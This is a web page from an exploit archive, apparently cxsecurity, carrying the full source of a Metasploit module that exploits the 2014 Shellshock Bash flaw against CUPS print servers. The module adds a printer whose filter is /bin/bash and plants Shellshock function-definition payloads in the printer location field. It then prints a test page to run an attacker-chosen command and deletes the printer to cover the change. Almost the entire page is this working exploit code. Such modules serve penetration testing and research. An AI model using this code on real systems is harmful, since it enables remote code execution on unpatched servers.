CUPS Filter Bash Environment Variable Code Injection

2014.10.29
Credit: Brendan Coles
Risk: High
Local: No
Remote: Yes
CWE: CWE-94

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'CUPS Filter Bash Environment Variable Code Injection', 'Description' => %q{ This module exploits a post-auth code injection in specially crafted environment variables in Bash, specifically targeting CUPS filters through the PRINTER_INFO and PRINTER_LOCATION variables by default. }, 'Author' => [ 'Stephane Chazelas', # Vulnerability discovery 'lcamtuf', # CVE-2014-6278 'Brendan Coles <bcoles[at]gmail.com>' # msf ], 'References' => [ ['CVE', '2014-6271'], ['CVE', '2014-6278'], ['EDB', '34765'], ['URL', 'https://access.redhat.com/articles/1200223'], ['URL', 'http://seclists.org/oss-sec/2014/q3/649'] ], 'Privileged' => false, 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x0A\x0D", 'DisableNops' => true }, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic bash awk ruby' }, # Tested: # - CUPS version 1.4.3 on Ubuntu 10.04 (x86) # - CUPS version 1.5.3 on Debian 7 (x64) # - CUPS version 1.6.2 on Fedora 19 (x64) # - CUPS version 1.7.2 on Ubuntu 14.04 (x64) 'Targets' => [[ 'Automatic Targeting', { 'auto' => true } ]], 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 24 2014', 'License' => MSF_LICENSE )) register_options([ Opt::RPORT(631), OptBool.new('SSL', [ true, 'Use SSL', true ]), OptString.new('USERNAME', [ true, 'CUPS username', 'root']), OptString.new('PASSWORD', [ true, 'CUPS user password', '']), OptEnum.new('CVE', [ true, 'CVE to exploit', 'CVE-2014-6271', ['CVE-2014-6271', 'CVE-2014-6278'] ]), OptString.new('RPATH', [ true, 'Target PATH for binaries', '/bin' ]) ], self.class) end # # CVE-2014-6271 # def cve_2014_6271(cmd) %{() { :;}; $(#{cmd}) & } end # # CVE-2014-6278 # def cve_2014_6278(cmd) %{() { _; } >_[$($())] { echo -e "\r\n$(#{cmd})\r\n" ; }} end # # Check credentials # def check @cookie = rand_text_alphanumeric(16) printer_name = rand_text_alphanumeric(10 + rand(5)) res = add_printer(printer_name, '') if !res vprint_error("#{peer} - No response from host") return Exploit::CheckCode::Unknown elsif res.headers['Server'] =~ /CUPS\/([\d\.]+)/ vprint_status("#{peer} - Found CUPS version #{$1}") else print_status("#{peer} - Target is not a CUPS web server") return Exploit::CheckCode::Safe end if res.body =~ /Set Default Options for #{printer_name}/ vprint_good("#{peer} - Added printer successfully") delete_printer(printer_name) elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true) vprint_error("#{peer} - Authentication failed") elsif res.code == 426 vprint_error("#{peer} - SSL required - set SSL true") end Exploit::CheckCode::Detected end # # Exploit # def exploit @cookie = rand_text_alphanumeric(16) printer_name = rand_text_alphanumeric(10 + rand(5)) # Select target CVE case datastore['CVE'] when 'CVE-2014-6278' cmd = cve_2014_6278(payload.raw) else cmd = cve_2014_6271(payload.raw) end # Add a printer containing the payload # with a CUPS filter pointing to /bin/bash res = add_printer(printer_name, cmd) if !res fail_with(Failure::Unreachable, "#{peer} - Could not add printer - Connection failed.") elsif res.body =~ /Set Default Options for #{printer_name}/ print_good("#{peer} - Added printer successfully") elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true) fail_with(Failure::NoAccess, "#{peer} - Could not add printer - Authentication failed.") elsif res.code == 426 fail_with(Failure::BadConfig, "#{peer} - Could not add printer - SSL required - set SSL true.") else fail_with(Failure::Unknown, "#{peer} - Could not add printer.") end # Add a test page to the print queue. # The print job triggers execution of the bash filter # which executes the payload in the environment variables. res = print_test_page(printer_name) if !res fail_with(Failure::Unreachable, "#{peer} - Could not add test page to print queue - Connection failed.") elsif res.body =~ /Test page sent; job ID is/ vprint_good("#{peer} - Added test page to printer queue") elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true) fail_with(Failure::NoAccess, "#{peer} - Could not add test page to print queue - Authentication failed.") elsif res.code == 426 fail_with(Failure::BadConfig, "#{peer} - Could not add test page to print queue - SSL required - set SSL true.") else fail_with(Failure::Unknown, "#{peer} - Could not add test page to print queue.") end # Delete the printer res = delete_printer(printer_name) if !res fail_with(Failure::Unreachable, "#{peer} - Could not delete printer - Connection failed.") elsif res.body =~ /has been deleted successfully/ print_status("#{peer} - Deleted printer '#{printer_name}' successfully") elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true) vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - Authentication failed.") elsif res.code == 426 vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - SSL required - set SSL true.") else vprint_warning("#{peer} - Could not delete printer '#{printer_name}'") end end # # Add a printer to CUPS # def add_printer(printer_name, cmd) vprint_status("#{peer} - Adding new printer '#{printer_name}'") ppd_name = "#{rand_text_alphanumeric(10 + rand(5))}.ppd" ppd_file = <<-EOF *PPD-Adobe: "4.3" *%==== General Information Keywords ======================== *FormatVersion: "4.3" *FileVersion: "1.00" *LanguageVersion: English *LanguageEncoding: ISOLatin1 *PCFileName: "#{ppd_name}" *Manufacturer: "Brother" *Product: "(Brother MFC-3820CN)" *1284DeviceID: "MFG:Brother;MDL:MFC-3820CN" *cupsVersion: 1.1 *cupsManualCopies: False *cupsFilter: "application/vnd.cups-postscript 0 #{datastore['RPATH']}/bash" *cupsModelNumber: #{rand(10) + 1} *ModelName: "Brother MFC-3820CN" *ShortNickName: "Brother MFC-3820CN" *NickName: "Brother MFC-3820CN CUPS v1.1" *% *%==== Basic Device Capabilities ============= *LanguageLevel: "3" *ColorDevice: True *DefaultColorSpace: RGB *FileSystem: False *Throughput: "12" *LandscapeOrientation: Plus90 *VariablePaperSize: False *TTRasterizer: Type42 *FreeVM: "1700000" *DefaultOutputOrder: Reverse *%==== Media Selection ====================== *OpenUI *PageSize/Media Size: PickOne *OrderDependency: 18 AnySetup *PageSize *DefaultPageSize: BrLetter *PageSize BrA4/A4: "<</PageSize[595 842]/ImagingBBox null>>setpagedevice" *PageSize BrLetter/Letter: "<</PageSize[612 792]/ImagingBBox null>>setpagedevice" EOF pd = Rex::MIME::Message.new pd.add_part(ppd_file, 'application/octet-stream', nil, %(form-data; name="PPD_FILE"; filename="#{ppd_name}")) pd.add_part("#{@cookie}", nil, nil, %(form-data; name="org.cups.sid")) pd.add_part("add-printer", nil, nil, %(form-data; name="OP")) pd.add_part("#{printer_name}", nil, nil, %(form-data; name="PRINTER_NAME")) pd.add_part("", nil, nil, %(form-data; name="PRINTER_INFO")) # injectable pd.add_part("#{cmd}", nil, nil, %(form-data; name="PRINTER_LOCATION")) # injectable pd.add_part("file:///dev/null", nil, nil, %(form-data; name="DEVICE_URI")) data = pd.to_s data.strip! send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin'), 'ctype' => "multipart/form-data; boundary=#{pd.bound}", 'data' => data, 'cookie' => "org.cups.sid=#{@cookie};", 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) ) end # # Queue a printer test page # def print_test_page(printer_name) vprint_status("#{peer} - Adding test page to printer queue") send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'printers', printer_name), 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'cookie' => "org.cups.sid=#{@cookie}", 'vars_post' => { 'org.cups.sid' => @cookie, 'OP' => 'print-test-page' } ) end # # Delete a printer # def delete_printer(printer_name) vprint_status("#{peer} - Deleting printer '#{printer_name}'") send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin'), 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'cookie' => "org.cups.sid=#{@cookie}", 'vars_post' => { 'org.cups.sid' => @cookie, 'OP' => 'delete-printer', 'printer_name' => printer_name, 'confirm' => 'Delete Printer' } ) end end

References:

https://access.redhat.com/articles/1200223
http://seclists.org/oss-sec/2014/q3/649


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top